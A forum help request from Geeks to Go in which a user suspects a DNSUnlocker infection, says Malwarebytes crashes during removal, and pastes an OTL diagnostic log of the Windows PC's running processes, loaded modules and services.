Jump to content

Welcome to Geeks to Go - Register now for FREE

Geeks To Go is a helpful hub, where thousands of volunteer geeks quickly serve friendly answers and support. Check out the forums and get free advice from the experts. Register now to gain access to all of our features, it's FREE and only takes one minute. Once registered and logged in, you will be able to create topics, post replies to existing threads, give reputation to your fellow members, get your own private messenger, post status updates, manage your profile and so much more.

Create Account How it Works
Photo

DNSUnlocker virus [Solved]


  • This topic is locked This topic is locked

#1
Lucky Dearly

Lucky Dearly

    Member

  • Member
  • PipPipPip
  • 299 posts

Hey all, not too long ago I might have gotten a virus on my pc, attempts to remove it via malware bytes seem to fail as it crashes during malware removal

 

here's a OTL log, hope somebody can give me a hand with this

 

 

OTL logfile created on: 7/29/2015 10:13:51 PM - Run 1
OTL by OldTimer - Version 3.2.69.0     Folder = C:\Users\mewtw_000\Desktop
64bit- An unknown product  (Version = 6.2.9200) - Type = NTWorkstation
Internet Explorer (Version = 9.11.9600.17905)
Locale: 00000409 | Country: United States | Language: ENU | Date Format: M/d/yyyy
 
7.97 Gb Total Physical Memory | 4.59 Gb Available Physical Memory | 57.60% Memory free
9.22 Gb Paging File | 4.84 Gb Available in Paging File | 52.54% Paging File free
Paging file location(s): ?:\pagefile.sys [binary data]
 
%SystemDrive% = C: | %SystemRoot% = C:\Windows | %ProgramFiles% = C:\Program Files (x86)
Drive C: | 931.17 Gb Total Space | 373.11 Gb Free Space | 40.07% Space Free | Partition Type: NTFS
Drive D: | 931.48 Gb Total Space | 183.63 Gb Free Space | 19.71% Space Free | Partition Type: NTFS
 
Computer Name: GAMERPC2 | User Name: mewtw_000 | Logged in as Administrator.
Boot Mode: Normal | Scan Mode: Current user | Include 64bit Scans
Company Name Whitelist: Off | Skip Microsoft Files: Off | No Company Name Whitelist: On | File Age = 30 Days
 
========== Processes (SafeList) ==========
 
PRC - [2015/07/29 22:10:34 | 000,602,112 | ---- | M] (OldTimer Tools) -- C:\Users\mewtw_000\Desktop\OTL.exe
PRC - [2015/07/15 04:07:13 | 003,423,920 | ---- | M] (Adobe Systems, Inc.) -- C:\Windows\SysWOW64\Macromed\Flash\FlashPlayerPlugin_18_0_0_209.exe
PRC - [2015/07/14 11:55:20 | 005,579,624 | ---- | M] (LogMeIn Inc.) -- C:\Program Files (x86)\LogMeIn Hamachi\hamachi-2-ui.exe
PRC - [2015/07/14 11:20:16 | 001,889,920 | ---- | M] (Razer Inc.) -- C:\Program Files (x86)\Razer\Razer Cortex\main.exe
PRC - [2015/07/14 11:15:26 | 000,014,848 | ---- | M] (The CefSharp Authors) -- C:\Program Files (x86)\Razer\Razer Cortex\Cef\CefSharp.BrowserSubprocess.exe
PRC - [2015/07/14 11:15:18 | 000,129,168 | ---- | M] (Razer Inc.) -- C:\Program Files (x86)\Razer\Razer Cortex\RzKLService.exe
PRC - [2015/07/08 09:51:14 | 000,377,000 | ---- | M] (Mozilla Corporation) -- C:\Program Files (x86)\Mozilla Firefox\firefox.exe
PRC - [2015/06/25 14:24:06 | 000,188,192 | ---- | M] (IObit) -- C:\Program Files (x86)\IObit\IObit Uninstaller\UninstallMonitor.exe
PRC - [2015/06/25 14:17:49 | 002,754,704 | ---- | M] (NVIDIA Corporation) -- C:\Program Files (x86)\NVIDIA Corporation\Update Core\NvBackend.exe
PRC - [2015/06/25 14:17:46 | 001,868,432 | ---- | M] (NVIDIA Corporation) -- C:\Program Files (x86)\NVIDIA Corporation\NetService\NvNetworkService.exe
PRC - [2015/06/23 12:11:19 | 000,187,048 | ---- | M] () -- C:\Program Files (x86)\Razer\Razer Services\GSS\GameScannerService.exe
PRC - [2015/06/10 16:56:22 | 001,774,880 | ---- | M] (IObit) -- C:\Program Files (x86)\IObit\Advanced SystemCare 8\Monitor.exe
PRC - [2015/06/08 10:14:04 | 005,887,264 | ---- | M] (IObit) -- C:\Program Files (x86)\IObit\IObit Malware Fighter\IMF.exe
PRC - [2015/06/02 11:03:40 | 002,904,864 | ---- | M] (IObit) -- C:\Program Files (x86)\IObit\LiveUpdate\LiveUpdate.exe
PRC - [2015/05/26 15:23:26 | 004,459,808 | ---- | M] (IObit) -- C:\Program Files (x86)\IObit\Smart Defrag 4\SmartDefrag.exe
PRC - [2015/05/12 11:27:28 | 000,878,880 | ---- | M] (IObit) -- C:\Program Files (x86)\IObit\IObit Malware Fighter\IMFsrv.exe
PRC - [2015/05/07 14:08:12 | 000,062,752 | ---- | M] (IObit) -- C:\Program Files (x86)\IObit\Start Menu 8\StartMenu_Hook.exe
PRC - [2015/05/07 14:08:08 | 001,055,008 | ---- | M] (IObit) -- C:\Program Files (x86)\IObit\Start Menu 8\StartMenuServices.exe
PRC - [2015/05/07 14:07:50 | 002,187,040 | ---- | M] (IObit) -- C:\Program Files (x86)\IObit\Start Menu 8\StartMenu8.exe
PRC - [2015/05/07 12:12:28 | 005,886,784 | ---- | M] () -- C:\Users\mewtw_000\AppData\Local\Amazon Music\Amazon Music Helper.exe
PRC - [2015/05/01 11:17:04 | 001,772,672 | ---- | M] (Microsoft Corporation) -- C:\Program Files (x86)\Skype\Toolbars\PNRSvc\SkypeC2CPNRSvc.exe
PRC - [2015/05/01 11:16:10 | 001,394,816 | ---- | M] (Microsoft Corporation) -- C:\Program Files (x86)\Skype\Toolbars\AutoUpdate\SkypeC2CAutoUpdateSvc.exe
PRC - [2015/04/08 09:53:14 | 002,429,728 | ---- | M] (IObit) -- C:\Program Files (x86)\IObit\Advanced SystemCare 8\ASCTray.exe
PRC - [2015/04/03 15:42:26 | 000,814,880 | ---- | M] (IObit) -- C:\Program Files (x86)\IObit\Advanced SystemCare 8\ASCService.exe
PRC - [2015/02/26 02:05:00 | 000,309,704 | ---- | M] (Google Inc.) -- C:\Program Files (x86)\Google\Google Toolbar\GoogleToolbarUser_32.exe
PRC - [2015/02/24 20:26:06 | 009,797,416 | ---- | M] (Visicom Media Inc.) -- C:\Program Files (x86)\ManyCam\ManyCam.exe
PRC - [2015/02/08 16:05:16 | 036,207,136 | ---- | M] (ooVoo LLC) -- C:\Program Files (x86)\ooVoo\ooVoo.exe
PRC - [2013/11/25 19:17:42 | 000,085,600 | ---- | M] (Nullsoft, Inc.) -- C:\Program Files (x86)\Winamp\winampa.exe
PRC - [2013/10/12 19:56:46 | 000,484,408 | ---- | M] () -- C:\Users\mewtw_000\AppData\Roaming\GameCompanion\GameCompanion.exe
PRC - [2012/05/30 10:18:07 | 004,331,392 | ---- | M] (AOL Inc.) -- C:\Program Files (x86)\AIM\aim.exe
PRC - [2012/05/25 05:25:02 | 006,595,928 | ---- | M] (Yahoo! Inc.) -- C:\Program Files (x86)\Yahoo!\Messenger\YahooMessenger.exe
PRC - [2009/11/06 11:58:38 | 000,935,208 | ---- | M] (Nero AG) -- C:\Program Files (x86)\Common Files\Nero\Nero BackItUp 4\NBService.exe
PRC - [2009/01/29 15:20:49 | 000,057,344 | ---- | M] (SlySoft, Inc.) -- C:\Program Files (x86)\SlySoft\CloneCD\CloneCDTray.exe
PRC - [2008/11/09 13:48:14 | 000,602,392 | ---- | M] (Yahoo! Inc.) -- C:\Program Files (x86)\Yahoo!\SoftwareUpdate\YahooAUService.exe
 
 
========== Modules (No Company Name) ==========
 
MOD - [2015/07/29 12:55:06 | 013,584,384 | ---- | M] () -- C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Web\349977f0e2411534481f77b9dddd6b26\System.Web.ni.dll
MOD - [2015/07/29 12:54:57 | 006,982,656 | ---- | M] () -- C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\ccb5b082512497c88f8e84017a66a2d5\System.Core.ni.dll
MOD - [2015/07/29 12:54:49 | 010,069,504 | ---- | M] () -- C:\Windows\assembly\NativeImages_v4.0.30319_32\System\487c38839683ae7c3d773386adc02b18\System.ni.dll
MOD - [2015/07/29 12:54:42 | 017,207,296 | ---- | M] () -- C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\d1265d6159ea876f9d63ea4c1361b587\mscorlib.ni.dll
MOD - [2015/07/15 04:07:12 | 017,448,624 | ---- | M] () -- C:\Windows\SysWOW64\Macromed\Flash\NPSWF32_18_0_0_209.dll
MOD - [2015/07/14 11:15:28 | 001,482,240 | ---- | M] () -- C:\Program Files (x86)\Razer\Razer Cortex\Cef\libGLESv2.dll
MOD - [2015/07/14 11:15:28 | 000,073,728 | ---- | M] () -- C:\Program Files (x86)\Razer\Razer Cortex\Cef\libEGL.dll
MOD - [2015/07/14 11:15:26 | 041,289,216 | ---- | M] () -- C:\Program Files (x86)\Razer\Razer Cortex\Cef\libcef.dll
MOD - [2015/07/14 11:15:26 | 000,724,480 | ---- | M] () -- C:\Program Files (x86)\Razer\Razer Cortex\Cef\CefSharp.Core.dll
MOD - [2015/07/14 11:15:26 | 000,544,256 | ---- | M] () -- C:\Program Files (x86)\Razer\Razer Cortex\Cef\CefSharp.BrowserSubprocess.Core.dll
MOD - [2015/07/14 11:15:24 | 000,264,192 | ---- | M] () -- C:\Program Files (x86)\Razer\Razer Cortex\D3DX8Wrapper.dll
MOD - [2015/06/25 14:17:49 | 000,011,920 | ---- | M] () -- C:\Program Files (x86)\NVIDIA Corporation\Update Core\detoured.dll
MOD - [2015/06/22 15:42:26 | 003,184,640 | ---- | M] () -- C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Web.28b9ef5a#\44ee01b59548b1df58f870ff557af730\System.Web.Extensions.ni.dll
MOD - [2015/05/13 20:31:43 | 000,392,704 | ---- | M] () -- C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml.Linq\3893b2f379a9681455e60401ac13ae1e\System.Xml.Linq.ni.dll
MOD - [2015/05/13 20:31:42 | 007,787,008 | ---- | M] () -- C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\e7dd54337058ee9fc1918ad615cdb185\System.Xml.ni.dll
MOD - [2015/05/13 20:31:39 | 001,873,408 | ---- | M] () -- C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xaml\9d7192b328a08155b6cbb2f3ec728407\System.Xaml.ni.dll
MOD - [2015/05/13 20:31:37 | 012,897,280 | ---- | M] () -- C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\b4f1dda828494fc76aa1ba8c9d4c5645\System.Windows.Forms.ni.dll
MOD - [2015/05/13 20:31:30 | 000,218,112 | ---- | M] () -- C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Serv759bfb78#\aff6d0c6c2d9f46ac15f27c7ff3c6bed\System.ServiceProcess.ni.dll
MOD - [2015/05/13 20:31:17 | 002,803,200 | ---- | M] () -- C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Runteb92aa12#\78d0c41c620debaa923cfc196824adc1\System.Runtime.Serialization.ni.dll
MOD - [2015/05/13 20:31:15 | 000,797,184 | ---- | M] () -- C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Runt73a1fc9d#\7df5c85ab9f7b8b1fe4c550b05082d6f\System.Runtime.Remoting.ni.dll
MOD - [2015/05/13 20:31:14 | 000,522,752 | ---- | M] () -- C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Net.Http\2b8d22c90d4057f14d631115bf105c51\System.Net.Http.ni.dll
MOD - [2015/05/13 20:31:13 | 001,169,920 | ---- | M] () -- C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Management\387849bb317e26c4d663d1a4f146e0ad\System.Management.ni.dll
MOD - [2015/05/13 20:31:12 | 001,639,936 | ---- | M] () -- C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Drawing\2fd03fa85d6a91f0ee14d21571369a26\System.Drawing.ni.dll
MOD - [2015/05/13 20:31:11 | 007,386,624 | ---- | M] () -- C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Data\fd6e915b319eae7b3b1d659b12c7d171\System.Data.ni.dll
MOD - [2015/05/13 20:31:02 | 000,967,680 | ---- | M] () -- C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\bd583bdbb9ef33ee379f1ab9907eda7c\System.Configuration.ni.dll
MOD - [2015/05/13 20:31:01 | 018,753,024 | ---- | M] () -- C:\Windows\assembly\NativeImages_v4.0.30319_32\Presentatio5ae0f00f#\5f400d325e34e0bc03219990ce87e264\PresentationFramework.ni.dll
MOD - [2015/05/13 20:31:01 | 000,463,360 | ---- | M] () -- C:\Windows\assembly\NativeImages_v4.0.30319_32\Presentatioaec034ca#\28b11cad8855404dab40ab22e154c76d\PresentationFramework.Aero2.ni.dll
MOD - [2015/05/13 20:30:52 | 011,014,144 | ---- | M] () -- C:\Windows\assembly\NativeImages_v4.0.30319_32\PresentationCore\0a81cae6f5ddd1b8df1298d48a6151cb\PresentationCore.ni.dll
MOD - [2015/05/13 20:30:47 | 003,904,000 | ---- | M] () -- C:\Windows\assembly\NativeImages_v4.0.30319_32\WindowsBase\b18c22eb10f119686040ab1354ff27fa\WindowsBase.ni.dll
MOD - [2015/05/13 11:37:48 | 001,929,728 | ---- | M] () -- C:\Windows\assembly\NativeImages_v4.0.30319_32\Microsoft.V9921e851#\97b526f5a4afe6af4a0b46ba23c1460a\Microsoft.VisualBasic.ni.dll
MOD - [2015/05/13 11:37:37 | 000,043,008 | ---- | M] () -- C:\Windows\assembly\NativeImages_v4.0.30319_32\Accessibility\f3c7721d3e73cf70c1cf85707a152c4e\Accessibility.ni.dll
MOD - [2015/05/07 14:07:48 | 000,268,920 | ---- | M] () -- C:\Program Files (x86)\IObit\Start Menu 8\sqlite3.dll
MOD - [2015/05/07 14:07:38 | 000,622,880 | ---- | M] () -- C:\Program Files (x86)\IObit\Start Menu 8\ProductStatistics.dll
MOD - [2015/05/07 14:07:34 | 000,053,024 | ---- | M] () -- C:\Program Files (x86)\IObit\Start Menu 8\parseAuto.dll
MOD - [2015/05/07 14:07:32 | 000,348,960 | ---- | M] () -- C:\Program Files (x86)\IObit\Start Menu 8\madexcept_.bpl
MOD - [2015/05/07 14:07:30 | 000,050,976 | ---- | M] () -- C:\Program Files (x86)\IObit\Start Menu 8\maddisAsm_.bpl
MOD - [2015/05/07 14:07:28 | 000,183,584 | ---- | M] () -- C:\Program Files (x86)\IObit\Start Menu 8\madbasic_.bpl
MOD - [2015/05/07 12:12:28 | 005,886,784 | ---- | M] () -- C:\Users\mewtw_000\AppData\Local\Amazon Music\Amazon Music Helper.exe
MOD - [2015/05/02 15:34:59 | 002,567,168 | ---- | M] () -- C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Data.SqlXml\6d7375b4a2b83b5484670819857944d3\System.Data.SqlXml.ni.dll
MOD - [2015/04/26 18:04:18 | 000,788,992 | ---- | M] () -- C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Servd1dec626#\e2a6a13a0430ee8e1f919d973e3d6753\System.ServiceModel.Internals.ni.dll
MOD - [2015/04/26 18:04:17 | 000,118,272 | ---- | M] () -- C:\Windows\assembly\NativeImages_v4.0.30319_32\SMDiagnostics\2daa09da28e32e3738ca124685629457\SMDiagnostics.ni.dll
MOD - [2015/04/26 18:04:06 | 000,146,944 | ---- | M] () -- C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Numerics\de2a832558f95db343e443c365bd3575\System.Numerics.ni.dll
MOD - [2015/04/26 18:04:04 | 000,188,416 | ---- | M] () -- C:\Windows\assembly\NativeImages_v4.0.30319_32\UIAutomationTypes\4ecc9a930ce584ca105857e68bad3c5f\UIAutomationTypes.ni.dll
MOD - [2015/04/26 18:04:04 | 000,098,304 | ---- | M] () -- C:\Windows\assembly\NativeImages_v4.0.30319_32\UIAutomationProvider\3461e03fa48e1c503b31ae6485d643e9\UIAutomationProvider.ni.dll
MOD - [2015/03/07 21:43:06 | 000,038,912 | ---- | M] () -- C:\Program Files (x86)\Skype\Phone\d3d9.dll
MOD - [2013/10/12 19:56:46 | 000,484,408 | ---- | M] () -- C:\Users\mewtw_000\AppData\Roaming\GameCompanion\GameCompanion.exe
MOD - [2013/01/15 18:48:26 | 000,348,992 | ---- | M] () -- C:\Program Files (x86)\IObit\IObit Uninstaller\madexcept_.bpl
MOD - [2013/01/15 18:48:26 | 000,348,992 | ---- | M] () -- C:\Program Files (x86)\IObit\Advanced SystemCare 8\madexcept_.bpl
MOD - [2013/01/15 18:48:26 | 000,051,008 | ---- | M] () -- C:\Program Files (x86)\IObit\IObit Uninstaller\maddisAsm_.bpl
MOD - [2013/01/15 18:48:26 | 000,051,008 | ---- | M] () -- C:\Program Files (x86)\IObit\Advanced SystemCare 8\maddisAsm_.bpl
MOD - [2013/01/15 18:48:24 | 000,183,616 | ---- | M] () -- C:\Program Files (x86)\IObit\IObit Uninstaller\madbasic_.bpl
MOD - [2013/01/15 18:48:24 | 000,183,616 | ---- | M] () -- C:\Program Files (x86)\IObit\Advanced SystemCare 8\madbasic_.bpl
MOD - [2013/01/15 18:47:56 | 000,893,248 | ---- | M] () -- C:\Program Files (x86)\IObit\Smart Defrag 4\webres.dll
MOD - [2013/01/15 18:47:56 | 000,893,248 | ---- | M] () -- C:\Program Files (x86)\IObit\Advanced SystemCare 8\webres.dll
MOD - [2012/11/13 20:23:14 | 000,241,152 | ---- | M] () -- C:\Program Files (x86)\ManyCam\opencv_objdetect220.dll
MOD - [2012/11/13 20:23:14 | 000,201,216 | ---- | M] () -- C:\Program Files (x86)\ManyCam\opencv_video220.dll
MOD - [2012/11/13 20:23:08 | 000,775,680 | ---- | M] () -- C:\Program Files (x86)\ManyCam\opencv_highgui220.dll
MOD - [2012/11/13 20:23:04 | 001,241,088 | ---- | M] () -- C:\Program Files (x86)\ManyCam\opencv_imgproc220.dll
MOD - [2012/11/13 20:22:32 | 002,010,624 | ---- | M] () -- C:\Program Files (x86)\ManyCam\opencv_core220.dll
MOD - [2012/05/30 10:11:47 | 000,176,128 | ---- | M] () -- C:\Program Files (x86)\AIM\nssckbi.dll
MOD - [2012/05/25 05:25:00 | 000,921,600 | ---- | M] () -- C:\Program Files (x86)\Yahoo!\Messenger\yui.dll
MOD - [2012/05/25 05:25:00 | 000,078,336 | ---- | M] () -- C:\Program Files (x86)\Yahoo!\Messenger\pcre.dll
 
 
========== Services (SafeList) ==========
 
SRV:64bit: - [2015/06/25 14:22:12 | 005,541,008 | ---- | M] (NVIDIA Corporation) [Auto | Running] -- C:\Program Files\NVIDIA Corporation\NvStreamSrv\NvStreamService.exe -- (NvStreamSvc)
SRV:64bit: - [2015/06/25 14:17:46 | 001,152,656 | ---- | M] (NVIDIA Corporation) [Auto | Running] -- C:\Program Files\NVIDIA Corporation\GeForce Experience Service\GfExperienceService.exe -- (GfExperienceService)
SRV:64bit: - [2015/06/20 11:58:39 | 000,522,240 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\GeofenceMonitorService.dll -- (lfsvc)
SRV:64bit: - [2015/06/20 11:57:46 | 000,294,912 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\SystemEventsBrokerServer.dll -- (SystemEventsBroker)
SRV:64bit: - [2015/05/30 12:36:24 | 000,230,400 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\AudioEndpointBuilder.dll -- (AudioEndpointBuilder)
SRV:64bit: - [2015/04/29 03:31:12 | 001,429,504 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\diagtrack.dll -- (DiagTrack)
SRV:64bit: - [2015/02/27 07:16:08 | 001,291,024 | ---- | M] (Disc Soft Ltd) [On_Demand | Running] -- C:\Program Files\DAEMON Tools Pro\DiscSoftBusService.exe -- (Disc Soft Pro Bus Service)
SRV:64bit: - [2015/02/26 20:06:49 | 000,027,768 | ---- | M] (VIA Technologies, Inc.) [Auto | Running] -- C:\Windows\SysNative\ViakaraokeSrv.exe -- (VIAKaraokeService)
SRV:64bit: - [2015/02/20 16:49:18 | 000,780,800 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\lsm.dll -- (LSM)
SRV:64bit: - [2015/02/03 16:58:28 | 000,366,520 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Program Files\Windows Defender\NisSrv.exe -- (WdNisSvc)
SRV:64bit: - [2015/02/03 16:58:28 | 000,023,792 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Program Files\Windows Defender\MsMpEng.exe -- (WinDefend)
SRV:64bit: - [2014/11/21 06:28:26 | 000,114,688 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\IEEtwCollector.exe -- (IEEtwCollectorService)
SRV:64bit: - [2014/11/21 02:17:05 | 000,154,112 | ---- | M] (Microsoft Corporation) [On_Demand | Running] -- C:\Windows\SysNative\ncbservice.dll -- (NcbService)
SRV:64bit: - [2014/11/21 02:16:56 | 001,668,096 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\workfolderssvc.dll -- (workfolderssvc)
SRV:64bit: - [2014/11/21 02:16:16 | 000,562,688 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\AppReadiness.dll -- (AppReadiness)
SRV:64bit: - [2014/11/21 02:16:14 | 000,074,752 | ---- | M] (Microsoft Corporation) [On_Demand | Running] -- C:\Windows\SysNative\NcdAutoSetup.dll -- (NcdAutoSetup)
SRV:64bit: - [2014/11/21 02:16:13 | 000,067,584 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\wiarpc.dll -- (WiaRpc)
SRV:64bit: - [2014/11/21 02:16:09 | 000,374,784 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\wcmsvc.dll -- (Wcmsvc)
SRV:64bit: - [2014/11/21 02:16:08 | 000,550,912 | ---- | M] (Microsoft Corporation) [On_Demand | Running] -- C:\Windows\SysNative\netprofmsvc.dll -- (netprofm)
SRV:64bit: - [2014/11/21 02:16:05 | 000,166,400 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\NcaSvc.dll -- (NcaSvc)
SRV:64bit: - [2014/11/21 02:15:56 | 003,460,472 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\WSService.dll -- (WSService)
SRV:64bit: - [2014/11/21 02:15:54 | 001,639,424 | ---- | M] (Microsoft Corporation) [On_Demand | Running] -- C:\Windows\SysNative\wlidsvc.dll -- (wlidsvc)
SRV:64bit: - [2014/11/21 02:15:54 | 000,026,112 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\wephostsvc.dll -- (WEPHOSTSVC)
SRV:64bit: - [2014/11/21 02:15:53 | 000,041,472 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\efssvc.dll -- (EFS)
SRV:64bit: - [2014/11/21 02:15:50 | 000,260,608 | ---- | M] (Microsoft Corporation) [On_Demand | Running] -- C:\Windows\SysNative\vaultsvc.dll -- (VaultSvc)
SRV:64bit: - [2014/11/21 02:15:50 | 000,131,072 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\ScDeviceEnum.dll -- (ScDeviceEnum)
SRV:64bit: - [2014/11/21 02:15:45 | 000,407,040 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\das.dll -- (DeviceAssociationService)
SRV:64bit: - [2014/11/21 02:15:45 | 000,270,336 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\bisrv.dll -- (BrokerInfrastructure)
SRV:64bit: - [2014/11/21 02:15:45 | 000,206,848 | ---- | M] (Microsoft Corporation) [On_Demand | Running] -- C:\Windows\SysNative\DeviceSetupManager.dll -- (DsmSvc)
SRV:64bit: - [2014/11/21 02:15:44 | 000,262,656 | ---- | M] (Microsoft Corporation) [On_Demand | Running] -- C:\Windows\SysNative\TimeBrokerServer.dll -- (TimeBroker)
SRV:64bit: - [2014/11/21 02:15:40 | 000,013,312 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\svsvc.dll -- (svsvc)
SRV:64bit: - [2014/11/21 02:15:40 | 000,013,312 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\smphost.dll -- (smphost)
SRV:64bit: - [2014/11/21 02:15:39 | 000,121,856 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\fhsvc.dll -- (fhsvc)
SRV:64bit: - [2014/11/21 02:15:34 | 001,348,096 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\AppXDeploymentServer.dll -- (AppXSvc)
SRV:64bit: - [2014/11/21 02:15:28 | 000,524,800 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\icsvc.dll -- (vmicvss)
SRV:64bit: - [2014/11/21 02:15:28 | 000,524,800 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\icsvc.dll -- (vmictimesync)
SRV:64bit: - [2014/11/21 02:15:28 | 000,524,800 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\icsvc.dll -- (vmicshutdown)
SRV:64bit: - [2014/11/21 02:15:28 | 000,524,800 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\icsvc.dll -- (vmicrdv)
SRV:64bit: - [2014/11/21 02:15:28 | 000,524,800 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\icsvc.dll -- (vmickvpexchange)
SRV:64bit: - [2014/11/21 02:15:28 | 000,524,800 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\icsvc.dll -- (vmicheartbeat)
SRV:64bit: - [2014/11/21 02:15:28 | 000,524,800 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\icsvc.dll -- (vmicguestinterface)
SRV:64bit: - [2014/11/21 02:15:12 | 000,838,656 | ---- | M] (Microsoft Corporation) [Disabled | Stopped] -- C:\Windows\SysNative\netlogon.dll -- (Netlogon)
SRV:64bit: - [2014/11/21 02:15:12 | 000,062,464 | ---- | M] (Microsoft Corporation) [On_Demand | Running] -- C:\Windows\SysNative\keyiso.dll -- (KeyIso)
SRV:64bit: - [2014/11/21 02:15:10 | 002,987,520 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\spool\drivers\x64\3\PrintConfig.dll -- (PrintNotify)
SRV:64bit: - [2014/11/21 02:15:08 | 000,324,608 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\BthHFSrv.dll -- (BthHFSrv)
SRV - [2015/07/23 16:23:38 | 000,838,336 | ---- | M] (Valve Corporation) [On_Demand | Stopped] -- C:\Program Files (x86)\Common Files\Steam\SteamService.exe -- (Steam Client Service)
SRV - [2015/07/15 04:07:13 | 000,268,976 | ---- | M] (Adobe Systems Incorporated) [On_Demand | Stopped] -- C:\Windows\SysWOW64\Macromed\Flash\FlashPlayerUpdateService.exe -- (AdobeFlashPlayerUpdateSvc)
SRV - [2015/07/14 11:55:16 | 002,540,904 | ---- | M] (LogMeIn Inc.) [Auto | Running] -- C:\Program Files (x86)\LogMeIn Hamachi\hamachi-2.exe -- (Hamachi2Svc)
SRV - [2015/07/14 11:45:18 | 000,417,552 | ---- | M] (LogMeIn, Inc.) [Auto | Running] -- C:\Program Files (x86)\LogMeIn Hamachi\LMIGuardianSvc.exe -- (LMIGuardianSvc)
SRV - [2015/07/14 11:15:18 | 000,129,168 | ---- | M] (Razer Inc.) [Auto | Running] -- C:\Program Files (x86)\Razer\Razer Cortex\RzKLService.exe -- (RzKLService)
SRV - [2015/07/08 09:51:12 | 000,148,136 | ---- | M] (Mozilla Foundation) [On_Demand | Stopped] -- C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe -- (MozillaMaintenance)
SRV - [2015/06/25 14:17:46 | 001,868,432 | ---- | M] (NVIDIA Corporation) [Auto | Running] -- C:\Program Files (x86)\NVIDIA Corporation\NetService\NvNetworkService.exe -- (NvNetworkService)
SRV - [2015/06/23 12:11:19 | 000,187,048 | ---- | M] () [Auto | Running] -- C:\Program Files (x86)\Razer\Razer Services\GSS\GameScannerService.exe -- (Razer Game Scanner Service)
SRV - [2015/06/20 11:58:39 | 000,367,104 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysWOW64\GeofenceMonitorService.dll -- (lfsvc)
SRV - [2015/06/18 08:39:50 | 001,133,880 | ---- | M] (Malwarebytes Corporation) [Auto | Stopped] -- C:\Program Files (x86)\Malwarebytes Anti-Malware\mbamservice.exe -- (MBAMService)
SRV - [2015/06/18 08:39:46 | 001,871,160 | ---- | M] (Malwarebytes Corporation) [Disabled | Stopped] -- C:\Program Files (x86)\Malwarebytes Anti-Malware\mbamscheduler.exe -- (MBAMScheduler)
SRV - [2015/06/03 16:42:38 | 000,327,296 | R--- | M] (Skype Technologies) [Auto | Stopped] -- C:\Program Files (x86)\Skype\Updater\Updater.exe -- (SkypeUpdate)
SRV - [2015/06/02 11:03:40 | 002,904,864 | ---- | M] (IObit) [Auto | Running] -- C:\Program Files (x86)\IObit\LiveUpdate\LiveUpdate.exe -- (LiveUpdateSvc)
SRV - [2015/05/12 11:27:28 | 000,878,880 | ---- | M] (IObit) [Auto | Running] -- C:\Program Files (x86)\IObit\IObit Malware Fighter\IMFsrv.exe -- (IMFservice)
SRV - [2015/05/07 14:08:08 | 001,055,008 | ---- | M] (IObit) [Auto | Running] -- C:\Program Files (x86)\IObit\Start Menu 8\StartMenuServices.exe -- (StartMenuService)
